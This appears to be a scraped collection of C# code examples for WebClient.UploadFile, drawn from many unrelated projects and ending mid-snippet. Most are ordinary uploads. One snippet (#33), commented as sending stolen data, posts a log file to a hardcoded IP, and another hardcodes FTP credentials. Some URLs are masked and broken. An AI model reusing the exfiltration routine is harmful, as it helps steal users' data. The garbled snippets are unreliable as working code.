UploadFile() 공개 메소드

public UploadFile ( System address, string fileName ) : byte[]
address System
fileName string
리턴 byte[]
예제 #1
0
        private static void UploadToErpHostForSupport(string filename)
        {
            WebClient myWebClient = new WebClient ();
            try {

                myWebClient.QueryString ["COMP"] = ((GlobalvarsApp)Application.Context).COMPANY_CODE;
                myWebClient.QueryString ["BRAN"] = ((GlobalvarsApp)Application.Context).BRANCH_CODE;
                myWebClient.QueryString ["USER"] = ((GlobalvarsApp)Application.Context).USERID_CODE;
                if (filename.ToLower().Contains(".zip"))
                {
                    //upload zip db file and extract
                    byte[] responseArray = myWebClient.UploadFile (@"http://www.wincomcloud.com/UploadDb/uploadDbEx.aspx", filename);
                }else{
                    //upload db file
                    byte[] responseArray = myWebClient.UploadFile (@"http://www.wincomcloud.com/UploadDb/uploadDb.aspx", filename);
                }

            } catch {

            }
            finally{
                try{

                    File.Delete (filename);
                }catch
                {}
            }
        }
예제 #2
0
        // Bilder runterladen
        public static string downloadImage(string imagePath, string id, string type, string folder, string newFilename)
        {
            if (String.IsNullOrEmpty(imagePath))
                return "";

            // Pfade und Dateiname erstellen
            string link = "http://thetvdb.com/banners/" + imagePath;
            string imageType = (!String.IsNullOrEmpty(type)) ? type : imagePath.Substring(0, imagePath.IndexOf("/"));
            string path = "C:\\tempImages\\" + id + "\\" + imageType + "\\";
            string localFilename = imagePath.Substring(imagePath.LastIndexOf("/") + 1, imagePath.Length - imagePath.LastIndexOf("/") - 1);

            // Pfad prüfen und ggfl. erstellen
            if (!Directory.Exists(path))
                System.IO.Directory.CreateDirectory(path);

            // Prüfen ob das Bild schon existiert
            if (File.Exists(path + newFilename))
                return path + newFilename;

            // Bild runterladen
            using (WebClient client = new WebClient())
            {
                client.DownloadFile(link, path + newFilename);

                NetworkCredential cred = new NetworkCredential("olro", "123user!");

                WebClient ftp = new WebClient();
                ftp.Credentials = cred;
                ftp.UploadFile("ftp://217.160.178.136/Images/" + folder + "/" + newFilename, path + newFilename);
            }

            return path + localFilename;
        }
예제 #3
0
 /// <summary>
 /// 上传图片到服务器
 /// </summary>
 /// <param name="webUrl"></param>
 /// <param name="localFileName"></param>
 /// <returns></returns>
 public bool uploadFileByHttp(string webUrl, string localFileName)
 {
     if (localFileName == "111")
     {
         //这是在编辑并且编辑时 图片没有改变
     }
     else
     {
         // 检查文件是否存在
         if (!System.IO.File.Exists(localFileName))
         {
             MessageBox.Show("{0} 文件不存在!", localFileName);
             return(false);
         }
         try
         {
             System.Net.WebClient myWebClient = new System.Net.WebClient();
             myWebClient.UploadFile(webUrl, "POST", localFileName);
         }
         catch (Exception ex)
         {
             MessageBox.Show("网络异常,图片上传失败。" + ex.Message);
             return(false);
         }
     }
     return(true);
 }
예제 #4
0
        static void Main(string[] args)
        {
            string folder = ConfigurationManager.AppSettings["SaveFolder"];

            using (var db = new FacilityReservationKioskEntities())
            {
                var camera = db.Cameras.ToList();

                foreach(var cam in camera)
                {
                    try
                    {

                        string fileName = folder + "image-" + cam.CameraID + ".jpg";
                        WebClient client = new WebClient();
                        client.DownloadFile("http://" + cam.IPAddress   + "/snap.jpg?JpegSize=L",fileName);

                        WebClient wc = new WebClient();
                        wc.UploadFile("http://crowd.sit.nyp.edu.sg/FRSIpad/UploadPicture.aspx", fileName);

                    }
                    catch(Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }

                }

            }
        }
예제 #5
0
        static void Main(string[] args)
        {
            // https://sites.google.com/a/jsc-solutions.net/backlog/knowledge-base/2014/201403/20140326
            // X:\jsc.smokescreen.svn\core\javascript\com.abstractatech.analytics\com.abstractatech.analytics\ApplicationWebService.cs
            // X:\jsc.svn\examples\rewrite\Test\Feature1\Feature1\Class1.cs
            // "C:\util\jsc\nuget\Feature4.1.0.0.0.nupkg"

            var c = new WebClient();

            c.UploadProgressChanged +=
                (sender, e) =>
                {
                    Console.WriteLine(new { e.ProgressPercentage });

                };

            var x = c.UploadFile(
                //"http://192.168.1.84:26994/upload",
                "http://my.jsc-solutions.net/upload",

                @"C:\util\jsc\nuget\Feature4.1.0.0.0.nupkg"
            );

            // 		Encoding.UTF8.GetString(x)	"<ok>\r\n  <ContentKey>2</ContentKey>\r\n</ok>"	string
            // 		Encoding.UTF8.GetString(x)	"<ok><ContentKey>6</ContentKey></ok>"	string


            Debugger.Break();
        }
예제 #6
0
		public static string UploadImage(string filePath)
		{
			if(!File.Exists(filePath))
				return "Fil ikke funnet.";
			
			var url = "http://www.jaktloggen.no/customers/tore/jalo/services/uploadimage.ashx";
			using(WebClient client = new WebClient()) 
			{
				var nameValueCollection = new NameValueCollection();
				nameValueCollection.Add("userid",UserId);
				
				client.QueryString = nameValueCollection;
				try
				{
				    byte[] responseArray = client.UploadFile(url, filePath);
					return Encoding.Default.GetString(responseArray);
						
				}
				catch(WebException ex)
				{
					Console.WriteLine(ex.Message);
				}
					
			}
			return "Error";
		}
예제 #7
0
        public static string upload(string uri, string strFileName)
        {
            string serviceUrl = "";

            if (BaseUri == "" || BaseUri == null)
            {
                serviceUrl = uri;
            }
            else
            {
                serviceUrl = string.Format("{0}/{1}", BaseUri, uri);
            }

            System.Net.WebClient webClient = new System.Net.WebClient();
            try
            {
                webClient.UploadFile(serviceUrl, "Post", strFileName);
                return("ok");
            }
            catch (Exception ex)
            {
                webClient.Dispose();
                return(ex.Message);
            }
        }
예제 #8
0
        /// <summary>
        /// 上传本地文件
        /// </summary>
        /// <param name="AccessToken"></param>
        /// <param name="UpLoadMediaType"></param>
        /// <param name="FilePath"></param>
        public static string UpLoadMediaFile(string AccessToken, string UpLoadMediaType, string FilePath)
        {
            //上传本地文件,用户上传的文件必须先保存在服务器中,再上传至微信接口(微信的文件保存仅3天)

            //TODO 本地不想保留文件时,如何直接将用户上传的文件中转给微信?
            //TODO 文件限制
            /*
             * 上传的多媒体文件有格式和大小限制,如下:
             * 图片(image): 256K,支持JPG格式
             * 语音(voice):256K,播放长度不超过60s,支持AMR\MP3格式
             * 视频(video):1MB,支持MP4格式
             * 缩略图(thumb):64KB,支持JPG格式
             */
            string url = string.Format("http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token={0}&type={1}", AccessToken, UpLoadMediaType);//接口地址及参数
            WebClient client = new WebClient();
            client.Credentials = CredentialCache.DefaultCredentials;
            try
            {
                byte[] res = client.UploadFile(url, FilePath);
                //正常结果:{"type":"TYPE","media_id":"MEDIA_ID","created_at":123456789}
                //异常结果:{"errcode":40004,"errmsg":"invalid media type"}
                return Encoding.Default.GetString(res, 0, res.Length);
            }
            catch (Exception ex)
            {
                throw;
            }
        }
예제 #9
0
 public static detallePublicado EnviarServidorLocal(string rutaServidor, string carpeta, string archivo, bool infocndc)
 {
     try
     {
         System.Net.WebClient Client = new System.Net.WebClient();
         Client.Headers.Add("Content-Type", "binary/octet-stream");
         byte[] result = Client.UploadFile(rutaServidor + carpeta, "POST", archivo);
         String s      = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
         //MessageBox.Show(s);
         if (!infocndc)
         {
             return(new detallePublicado(Path.GetFileName(archivo), "Servidor Intranet", s));
         }
         else
         {
             return(new detallePublicado(Path.GetFileName(archivo), "Servidor Infocndc", s));
         }
     }
     catch (Exception ex)
     {
         if (!infocndc)
         {
             return(new detallePublicado(Path.GetFileName(archivo), "Servidor Intranet", "Error : " + ex.Message));
         }
         else
         {
             return(new detallePublicado(Path.GetFileName(archivo), "Servidor Infocndc", "Error : " + ex.Message));
         }
     }
 }
예제 #10
0
        private void UploadStatistics()
        {
            if (!File.Exists(this.LoggingFile) || !this.ShouldUpload || String.IsNullOrEmpty(this.UploadEndpointURL))
            {
                return;
            }

            this.StopCollectingStatistics();

            try
            {
                using (var wc = new System.Net.WebClient())
                {
                    var resp = wc.UploadFile(this.UploadEndpointURL, "POST", this.LoggingFile);

                    if (Encoding.ASCII.GetString(resp) != "\"ok\"")
                    {
                        return;
                    }
                }

                File.Delete(this.LoggingFile);
                TimerUploadStatistics.Stop();
                this.LastUpload = DateTime.Now;
            }
            finally
            {
                this.StartCollectingStatistics();
            }
        }
예제 #11
0
    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////// UPLOADING //////////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    /// <summary>
    /// Upload the file, return an error string. No, i'm not sure how it works
    /// </summary>
    /// <returns></returns>
    public bool Upload()
    {
        System.Net.WebClient Client = new System.Net.WebClient();

        Client.Headers.Add("Content-Type", "binary/octet-stream");

        string s;

        //try and upload
        try {
            byte[] result = Client.UploadFile("http://leswordfish.x10host.com/upload3.php", "POST", filename);

            s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

            //if the sessionID failed before but the upload works, take the opportunity to get a sessionID that will work for the next upload
            if (sessionID == "NOID")
            {
                sessionID = RequestSessionID();
            }
            return(true);
        }
        //if that fails, return that we failed
        catch (WebException)
        {
            print("no connection");
            return(false);
        }
    }
예제 #12
0
        static void Main(string[] args)
        {
            int start = Environment.TickCount;
            int maxParallelUploads = 50;
            string urlForUploads = "http://localhost:8080";
            string dirToUpload = Path.Combine(".", "default-to-upload");
            if (args.Length > 0)
            {
                dirToUpload = args[0];
            }

            ParallelOptions opts = new ParallelOptions();
            opts.MaxDegreeOfParallelism = maxParallelUploads;

            Parallel.ForEach(Directory.EnumerateFiles(dirToUpload, "*", SearchOption.AllDirectories), opts, (filepath) =>
            {
                Console.WriteLine("Uploading {0} on thread {1}...", filepath, Thread.CurrentThread.ManagedThreadId);
                WebClient webClient = new WebClient();
                int sleepPeriodMs = 1000;
                bool retry = true;
                bool success = false;

                while (retry)
                {
                    retry = false;
                    try
                    {
                        webClient.UploadFile(urlForUploads, filepath);
                        success = true;
                    }
                    catch (WebException e)
                    {
                        var r = (HttpWebResponse)e.Response;
                        if (r != null && r.StatusCode == HttpStatusCode.ServiceUnavailable)
                        {
                            // We are overloading the server. Wait some time and try again.
                            Console.WriteLine("Server is overloaded. Retrying in {0}ms...", sleepPeriodMs);
                            Thread.Sleep(sleepPeriodMs);
                            sleepPeriodMs *= 2;
                            retry = true;
                        }
                        else
                        {
                            Console.WriteLine("Failed to upload file {0}. Error was: \n{1}.\nMoving on to next file.", filepath, e.ToString());
                        }
                    }
                    catch
                    {
                        Console.WriteLine("Unexpected error! Failed to upload file {0}. Moving on to next file.", filepath);
                    }
                }

                if (success)
                {
                    // The file was successfully uploaded to the server - delete it!
                    File.Delete(filepath);
                }
            });
            Console.WriteLine("Took {0} ticks to upload files.", Environment.TickCount - start);
        }
예제 #13
0
        protected static WebClient UploadFileInternal(String token, String localFilePath, bool isAync)
        {
            try {
                String uploadReqJson = "{\"token\":\"" + token + "\"}";
                String uploadUrl     = RequestUploadUrl(uploadReqJson);

                Int64 fileSize = new System.IO.FileInfo(localFilePath).Length;

                var client = new System.Net.WebClient();
                client.Headers.Add("Content-Range", "bytes 0-" + (fileSize - 1).ToString() + "/" + fileSize.ToString());
                //client.Headers.Add("Content-Type", "application/octet-stream");
                client.Headers.Add("Content-MD5", GetFileMD5Hex(localFilePath));

                if (isAync)
                {
                    client.UploadFileAsync(new Uri(uploadUrl), localFilePath);
                }
                else
                {
                    client.UploadFile(new Uri(uploadUrl), localFilePath);
                }

                return(client);
            } catch (WebException e) {
                throw new CloudException(99, e.ToString());
            }
        }
        public bool Convert(string sourceFilePath, int sourceFormat, string targetFilePath, int targetFormat)
        {
            // Restrict supported conversion to only regular-pdf -> docx, 
            // but don't forget that CloudConvert supports almost anything.
            if (sourceFormat != (int)FileTypes.pdf || targetFormat != (int)FileTypes.docx || IsScannedPdf(sourceFilePath))
            {
                return false;
            }

            // Execute the call
            using (WebClient client = new WebClient())
            {    
                // Send the file to CloudConvert
                client.Headers["Content-Type"] = "binary/octet-stream";
                string address = string.Format("{0}?apikey={1}&input=upload&inputformat={2}&outputformat={3}&file={4}",
                                                             "https://api.cloudconvert.com/convert",
                                                             CloudConverterKey,
                                                             "pdf",
                                                             "docx",
                                                             HttpUtility.UrlEncode(sourceFilePath));
                byte[] response = client.UploadFile(address, sourceFilePath);

                // Save returned converted file
                File.WriteAllBytes(targetFilePath, response);
            }

            // Everything ok, return the success to the caller
            return true;
        }
예제 #15
0
        /// <summary>
        /// Uploads image to correct directory. This function can not be accessed outside of this class which prevents any problems.
        /// </summary>
        /// <param name="type"></param>
        /// <param name="imageLocation"></param>
        private void UploadImage(ImageTypes type, string imageLocation)
        {
            System.Net.WebClient Client = new System.Net.WebClient();



            Client.Headers.Add("Content-Type", "binary/octet-stream");

            string phpfile = "";

            switch (type)
            {
            case ImageTypes.Avatar:
                phpfile = "upload_avatar.php";
                break;

            case ImageTypes.Category:
                phpfile = "upload_Categories.php";
                break;

            case ImageTypes.Item:
                phpfile = "upload_items";
                break;
            }

            string url = domain + phpfile;

            Client.UploadFile(url, "POST", @imageLocation);
        }
예제 #16
0
        // Method to create questionlist by serializing object and sending it to the API,
        // Icon gets sent to API by saving it to the a temporary cache folder in order to send it to the API
        public int create(Questionlist questionlist)
        {
            if(questionlist.icon != null)
            {
                string url = @"../../Cache/"+questionlist.icon;
                try
                {
                    if (questionlist.image != null)
                    {
                        questionlist.image.Save(url);
                    }
                }
                catch (Exception e)
                {
                    MessageBox.Show(e.Message);
                }

                using (var client = new WebClient())
                {
                    client.UploadFile(bc.url+"/questionlist/uploadicon", "POST", url);
                }
            }

            var result = bc.jsonRequest("/questionlist/create", bc.serialize.Serialize(questionlist));
            if (result != null)
            {
                Questionlist list = bc.serialize.Deserialize<Questionlist>(result);
                return list.id;
            }
            else
            {
                return 0;
            }
        }
예제 #17
0
        private void button3_Click(object sender, EventArgs e)
        {
            try
            {
                Export testDialog = new Export();
                MessageBox.Show("Kể từ phiên bản 1.4, bạn đã có thể sao lưu danh sách Chủ thớt và Tác giả đã theo dõi trực tiếp lên mạng bằng máy chủ của HVN Follower.\nNhững gì bạn cần là nhập một đoạn mã bất kỳ (không phải tên đăng nhập hay mật khẩu trên HentaiVN) để HVN Follower có thể nhận ra tệp sao lưu của bạn trên máy tính khác.\nHãy nhớ mã bạn đã nhập để có thể khôi phục lại trên máy tính khác.", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
                button3.Enabled = false;
                if (testDialog.ShowDialog(this) == DialogResult.OK)
                {
                    button3.Text = "Đang kiểm tra...";
                    string unique_key = testDialog.textBox1.Text;
                    if (UniqueKeyExists(unique_key) == true)
                    {
                        MessageBox.Show("Mã này đã tồn tại trên máy chủ.\nVui lòng thử lại bằng một mã khác.", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        button3.Text    = "Sao lưu danh sách";
                        button3.Enabled = true;
                    }
                    else
                    {
                        exporting    = true;
                        button3.Text = "Đang tạo tệp sao lưu...";
                        exportRegistry("HKEY_CURRENT_USER\\SOFTWARE\\LilShieru\\HVNFollower", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\LilShieru\\HVNFollower\\" + unique_key + ".reg");
                        System.Net.WebClient Client = new System.Net.WebClient();

                        Client.Headers.Add("Content-Type", "binary/octet-stream");

                        byte[] result = Client.UploadFile("http://ichika.shiru2005.tk/HVNFollower/FollowListUploader.php", "POST",
                                                          Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\LilShieru\\HVNFollower\\" + unique_key + ".reg");

                        string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
                        if (s == "Upload successfully!")
                        {
                            MessageBox.Show("Sao lưu lên máy chủ thành công!\n\nMã sao lưu của bạn là:\n" + unique_key + "\n\nHãy nhớ mã sao lưu này để khôi phục lại danh sách vào máy tính khác.", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            exporting       = false;
                            button3.Enabled = true;
                            button3.Text    = "Sao lưu danh sách";
                        }
                        else
                        {
                            MessageBox.Show("Sao lưu lên máy chủ thất bại! Vui lòng thử lại sau!", "Lỗi", MessageBoxButtons.OK, MessageBoxIcon.Error);
                            exporting       = false;
                            button3.Enabled = true;
                            button3.Text    = "Sao lưu danh sách";
                        }
                    }
                }
                else
                {
                    button3.Enabled = true;
                }
                testDialog.Dispose();
            }
            catch
            {
                MessageBox.Show("Sao lưu lên máy chủ thất bại! Vui lòng thử lại sau!", "Lỗi", MessageBoxButtons.OK, MessageBoxIcon.Error);
                exporting       = false;
                button3.Enabled = true;
                button3.Text    = "Sao lưu danh sách";
            }
        }
        public string Get(string url, WebProxy proxy, string publicKey, string secretKey, string upload, string fileName = "", string fileMime = "", string fileContent = "")
        {
            using (var client = new WebClient())
            {
                    if (proxy != null)
                    client.Proxy = proxy;

                client.Encoding = Encoding.UTF8;
                if (String.IsNullOrWhiteSpace(fileContent))
                {
                    var web = url + String.Format("/resources/file?public_key={0}&secret_key={1}&file_name={2}&file_mime={3}", publicKey, secretKey, fileName, fileMime);
                    byte[] json = client.UploadFile(web, upload);
                    return Encoding.UTF8.GetString(json);
                }
                else
                {
                    var web = url + String.Format("/resources/file?public_key={0}&secret_key={1}&file_name={2}&file_mime={3}", publicKey, secretKey, fileName, fileMime);

                    var values = new System.Collections.Specialized.NameValueCollection
                        {
                            {"file_content", fileContent}
                        };
                    return Encoding.Default.GetString(client.UploadValues(web, values));
                }
            }
        }
예제 #19
0
파일: Program.cs 프로젝트: matihuf/Bib2Rest
        static void Main(string[] args)
        {
            var wc = new WebClient();
            wc.UploadFile("http://*****:*****@"C:\rest\Nowy dokument tekstowy.txt");

            Console.WriteLine("Upload done");

            DownloadFileAsync(@"C:\rest1\encypt", "encrypt").Wait();
            Console.WriteLine("Encrypt done");

            DownloadFileAsync(@"C:\rest1\decrypt.txt", "decrypt").Wait();
            Console.WriteLine("Decrypt done");

            Console.WriteLine("MD5 SUM:");
            byte[] md5 = wc.DownloadData("http://localhost:1729/api/Bib2/GetSum?optionSum=MD5");
            foreach (var item in md5)
            {
                Console.WriteLine(item);
            }

            Console.WriteLine("SHA SUM");
            byte[] sha = wc.DownloadData("http://localhost:1729/api/Bib2/GetSum?optionSum=SHA");
            foreach (var item in sha)
            {
                Console.WriteLine(item);
            }

            Console.ReadKey();
        }
예제 #20
0
파일: Data.Storage.cs 프로젝트: inlost/moyo
 /// <summary>
 /// 文件上传
 /// </summary>
 /// <param name="bucket">命名空间</param>
 /// <param name="fileName">文件在OSS上的名字</param>
 /// <param name="filePath">本地文件路径</param>
 /// <param name="contentType">文件类型</param>
 /// <returns>成功返回URL,失败返回服务器错误信息</returns>
 public string uploadFile(string bucket,string fileName, string filePath,string contentType)
 {
     FileStream theFileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read);
     WebClient theWebClient = new WebClient();
     string GMTime = DateTime.Now.ToUniversalTime().ToString("r");
     MD5CryptoServiceProvider theMD5Hash = new MD5CryptoServiceProvider();
     byte[] hashDatas;
     hashDatas = theMD5Hash.ComputeHash(new byte[(int)theFileStream.Length]);
     string contentMD5 = Convert.ToBase64String(hashDatas);
     HMACSHA1 theHMACSHA1 = new HMACSHA1(Encoding.UTF8.GetBytes(getAccessPar().key));
     string headerStr = "PUT\n"+
         contentMD5+"\n"+
         contentType+"\n"+
         GMTime+"\n"+
         "x-oss-date:"+GMTime+"\n"+
         bucket+ fileName;
     byte[] rstRes = theHMACSHA1.ComputeHash(Encoding.Default.GetBytes(headerStr));
     string strSig = Convert.ToBase64String(rstRes);
     theWebClient.Headers.Add(HttpRequestHeader.Authorization,"OSS "+getAccessPar().id+":"+strSig);
     theWebClient.Headers.Add(HttpRequestHeader.ContentMd5, contentMD5);
     theWebClient.Headers.Add(HttpRequestHeader.ContentType, contentType);
     theWebClient.Headers.Add("X-OSS-Date", GMTime);
     try
     {
         byte[] ret = theWebClient.UploadFile("http://storage.aliyun.com/" +bucket+ fileName, "PUT", filePath);
         string strMessage = Encoding.ASCII.GetString(ret);
         return "http://storage.aliyun.com" +bucket+ fileName;
     }
     catch (WebException e)
     {
         Stream stream = e.Response.GetResponseStream();
         StreamReader reader = new StreamReader(stream);
         return reader.ReadToEnd();
     }
 }
예제 #21
0
 public void UpLoadFile(string fileNamePath, string fileName, string uriString)
 {
     // System.Environment.CurrentDirectory + @"\data\data.db"
     // ftp://qyw28051:[email protected]/data.db
     System.Net.WebClient webClient = new System.Net.WebClient();
     webClient.UploadFile(uriString, fileNamePath);
 }
예제 #22
0
        public void Import_documents_by_csv_should_preserve_documentId_if_id_header_is_present()
        {
            var databaseName = "TestCsvDatabase";
            var entityName = typeof(CsvEntity).Name;
            var documentId = "MyCustomId123abc";

            using (var store = NewRemoteDocumentStore(false, null, databaseName))
            {
                var url = string.Format(@"http://*****:*****@Ignored_Property," + Constants.RavenEntityName,
                    documentId +",a,123,doNotCare," + entityName
                });

                using (var wc = new WebClient())
                    wc.UploadFile(url, tempFile);

                using (var session = store.OpenSession(databaseName))
                {
                    var entity = session.Load<CsvEntity>(documentId);
                    Assert.NotNull(entity);

                    var metadata = session.Advanced.GetMetadataFor(entity);
                    var ravenEntityName = metadata.Value<string>(Constants.RavenEntityName);
                    Assert.Equal(entityName, ravenEntityName);
                }

            }
        }
예제 #23
0
 private string uploadFile(string filenamePath)
 {
     //图片格式
     string fileNameExit = filenamePath.Substring(filenamePath.IndexOf('.')).ToLower();
     if (!checkfileExit(fileNameExit))
     {
         return "图片格式不正确";
     }
     //保存路径
     string toFilePath = "UploadFiles/BrandFiles/";
     //物理完整路径
     string toFileFullPath = HttpContext.Current.Server.MapPath(toFilePath);
     //检查是否有该路径,没有就创建
     if (!Directory.Exists(toFileFullPath))
     {
         Directory.CreateDirectory(toFileFullPath);
     }
     //生成将要保存的随机文件名
     string toFileName = getFileName();
     //将要保存的完整路径
     string saveFile = toFileFullPath + toFileName + fileNameExit;
     //创建WebClient实例
     WebClient myWebClient = new WebClient();
     //设定window网络安全认证
     myWebClient.Credentials = CredentialCache.DefaultCredentials;
     //要上传的文件
     FileStream fs = new FileStream(filenamePath, FileMode.Open, FileAccess.Read);
     BinaryReader br = new BinaryReader(fs);
     //使用UploadFile方法可以用下面的格式
     myWebClient.UploadFile(saveFile, filenamePath);
     return "图片保存成功";
 }
예제 #24
0
        public static void UploadFile(string pathServer, string pathLocal)
        {
            WebClient web = new WebClient();
            Uri addressHost = new Uri(pathServer);

            web.UploadFile(addressHost,pathLocal);
        }
예제 #25
0
        // {url} {file} {teamName} {password}
        static void Main(string[] args)
        {
            if (args.Length != 4)
              {
            Console.WriteLine("Usage: Compete.Uploader {url} {dll} {teamName} {password}");
            Environment.Exit(1);
              }

              Console.WriteLine("Uploading...");
              var client = new WebClient();

              try
              {
            client.UploadFile(String.Format("{0}/UploadBot?teamName={1}&password={2}", args[0], args[2], args[3]), "post", args[1]);
              }
              catch (Exception err)
              {
            Console.WriteLine("Couldn't upload, uploads may be disabled. Also, check your username and password");
            Console.WriteLine("");
            Console.WriteLine("");
            Console.Error.WriteLine("FAIL: " + err);
            Environment.Exit(1);
              }

              Console.WriteLine("Done, Good Luck!");
        }
예제 #26
0
        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                string CurrentDirectory = System.IO.Directory.GetCurrentDirectory();
                string sourcename       = CurrentDirectory + "\\Manage_Shop.apk";

                string fa, en;
                fa = HttpUtility.UrlEncode(txtfa.Text);
                en = HttpUtility.UrlEncode(txten.Text);

                System.Net.WebClient Client = new System.Net.WebClient();
                Client.Headers.Add("Content-Type", "binary/octet-stream");
                Client.Headers.Add("username", "");
                Client.Headers.Add("password", "");
                Client.Headers.Add("version", txtversion.Text);
                Client.Headers.Add("log_fa", fa);
                Client.Headers.Add("log_en", en);

                byte[] result = Client.UploadFile("http://kharidaram.com/app_config/new_version_receive.php", "POST", sourcename);
                string s      = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
            }
            catch (Exception ce)
            {
                MessageBox.Show(ce.Message);
            }
        }
예제 #27
0
        private static void FromAgent(Data data, string file)
        {
            try
            {
                System.Net.WebClient Client = new System.Net.WebClient();
                Client.Headers.Add("Content-Type", "binary/octet-stream");

                string agent;
                lock (Program.DATALOCK)
                {
                    agent = data.Agent;
                }

                byte[] result = Client.UploadFile("http://34.253.187.225/" + agent + "/fromagent.php", "POST", file);

                string response = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

                if (!response.ToUpper().Contains("GOOD JOB AGENT"))
                {
                    throw new Exception();
                }
            }
            catch (Exception e)
            {
                Thread.Sleep(300000);

                FromAgent(data, file);
            }
        }
예제 #28
0
        private static void Main(string[] args)
        {
            Console.Title = "Leafy Image Uploader 🍂";
            Config.Init();

            ShowWindow(GetConsoleWindow(), 0);

            var FullName = args.FirstOrDefault();
            var FileName = args.FirstOrDefault()?.Split('\\').LastOrDefault();
            var FileExtension = FileName?.Split('.').LastOrDefault();
            var NewFileName = DateTime.Now.ToString("dd-MMM-yy_HH:mm:ss") + "." + FileExtension;

            using (var client = new WebClient())
            {
                client.Credentials = new NetworkCredential(ftpAcc, ftpPass);
                if (FullName != null)
                    client.UploadFile(ftpAddr + NewFileName, "STOR", FullName);
            }

            OpenClipboard(IntPtr.Zero);

            if (!httpAddr.EndsWith("/"))
            {
                httpAddr = httpAddr + "/";
            }
            var URL = httpAddr + NewFileName;
            Process.Start(URL);

            var ptr = Marshal.StringToHGlobalUni(URL);
            SetClipboardData(13, ptr);
            CloseClipboard();
            Marshal.FreeHGlobal(ptr);
        }
예제 #29
0
        private string upLoadFile(string url, string strPath, string strFileName, string strFilePath)
        {
            FileInfo f       = new FileInfo(strFilePath);
            long     ls      = f.Length;
            string   strTemp = string.Empty;

            Rc.Model.Resources.Model_SystemLogFileSync model = new Rc.Model.Resources.Model_SystemLogFileSync();
            Rc.BLL.Resources.BLL_SystemLogFileSync     bll   = new Rc.BLL.Resources.BLL_SystemLogFileSync();

            if (ls <= 1024 * 1024 * 200)//小于200兆的同步,大于200兆的不同步了
            {
                string strErryType = string.Empty;

                //sw.WriteLine("同步开始【" + ls.ToString() + "】:" + strFilePath + ";开始时间:" + DateTime.Now.ToLongDateString() + DateTime.Now.ToLongTimeString() + " \n");
                Server.ScriptTimeout = 36000;
                System.Net.WebClient myWebClient = new System.Net.WebClient();
                myWebClient.Headers.Add("Content-Type", ContentType);
                myWebClient.QueryString["directory"] = strPath;
                myWebClient.QueryString["fname"]     = strFileName;

                try
                {
                    //myWebClient.UploadFileAsync(new Uri(url), "POST", strFilePath);
                    myWebClient.UploadFile(new Uri(url), "POST", strFilePath);
                    strTemp = "1";
                    // model.SystemLogFileSyncID = Guid.NewGuid().ToString();
                    // model.FileSize = ls;
                    // model.SyncUrl = strFilePath;
                    // model.MsgType = "OK";
                    ////model.ErrorMark = ex.Message;
                    // model.CreateTime = DateTime.Now;
                    // bll.Add(model);
                }
                catch (Exception ex)
                {
                    model.SystemLogFileSyncID = Guid.NewGuid().ToString();
                    model.FileSize            = ls;
                    model.SyncUrl             = strFilePath;
                    model.MsgType             = "Error";
                    model.ErrorMark           = ex.Message;
                    model.CreateTime          = DateTime.Now;
                    bll.Add(model);
                    throw;
                }

                // sw.WriteLine("结束时间:" + DateTime.Now.ToLongDateString() + DateTime.Now.ToLongTimeString() + " \n");
            }
            else
            {
                // sw.WriteLine("太大【" + ls.ToString() + "】没同步:" + strFilePath + ";日期:" + DateTime.Now.ToLongDateString() + DateTime.Now.ToLongTimeString() + " \n");
                model.SystemLogFileSyncID = Guid.NewGuid().ToString();
                model.FileSize            = ls;
                model.SyncUrl             = strFilePath;
                model.MsgType             = "ErrorSize";
                model.ErrorMark           = "文件太大【" + ls.ToString() + "】没同步:";
                model.CreateTime          = DateTime.Now;
                bll.Add(model);
            }
            return(strTemp);
        }
예제 #30
0
        static void Example6()
        {
            string address  = @"C:\Users\Giang\Desktop\e6.png";
            string fileName = @"c:\Users\Giang\Documents\Visual Studio 2015\Projects\Networking\WebClient\bin\Debug\e3.png";

            System.Net.WebClient wc = new System.Net.WebClient();
            byte[] response         = wc.UploadFile(address, fileName);
        }
예제 #31
0
 /// <summary>
 /// This function will Upload CSV files to the FTP server
 /// </summary>
 /// <param name="ftpServer">string - Ftpserver URL</param>
 /// <param name="userName">string - FTP username</param>
 /// <param name="password">string - FTP Password</param>
 /// <param name="filename">string - Xcbl Filename</param>
 /// <param name="xCblServiceUser">Object - holds the user related information</param>
 /// <param name="scheduleID">string - which is unique id of the XCBL file which is to be uploaded</param>
 private static void Meridian_FTPUpload(string ftpServer, string userName, string password, string filename, XCBL_User xCblServiceUser, string scheduleID)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
         client.Credentials = new System.Net.NetworkCredential(userName, password);
         client.UploadFile(ftpServer + "/" + new FileInfo(filename).Name, "STOR", filename);
     }
 }
 private void UploadFile(string fileName, string url, string filePath)
 {
     using (var client = new WebClient())
     {
         client.Headers.Add("FileName", fileName);
         client.UploadFile(new Uri(url), filePath);
     }
 }
예제 #33
0
 /// <summary>
 /// Sends the log file with the stolen data to a server using http post method.
 /// </summary>
 public static void SendFile()
 {
     System.Net.WebClient Client = new System.Net.WebClient();
     Client.Headers.Add("Content-Type", "binary/octet-stream");
     byte[] result = Client.UploadFile("http://192.168.232.128/test.php", "POST", Application.StartupPath + @"\log.txt");
     String s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
     Console.WriteLine(s);
 }
예제 #34
0
 private static void Upload(string ftpServer, string userName, string password, string filename)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
         client.Credentials = new System.Net.NetworkCredential(userName, password);
         client.UploadFile(ftpServer + "/" + new FileInfo(filename).Name, "STOR", filename);
     }
 }
예제 #35
0
 public void Upload(string Server_Fn)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
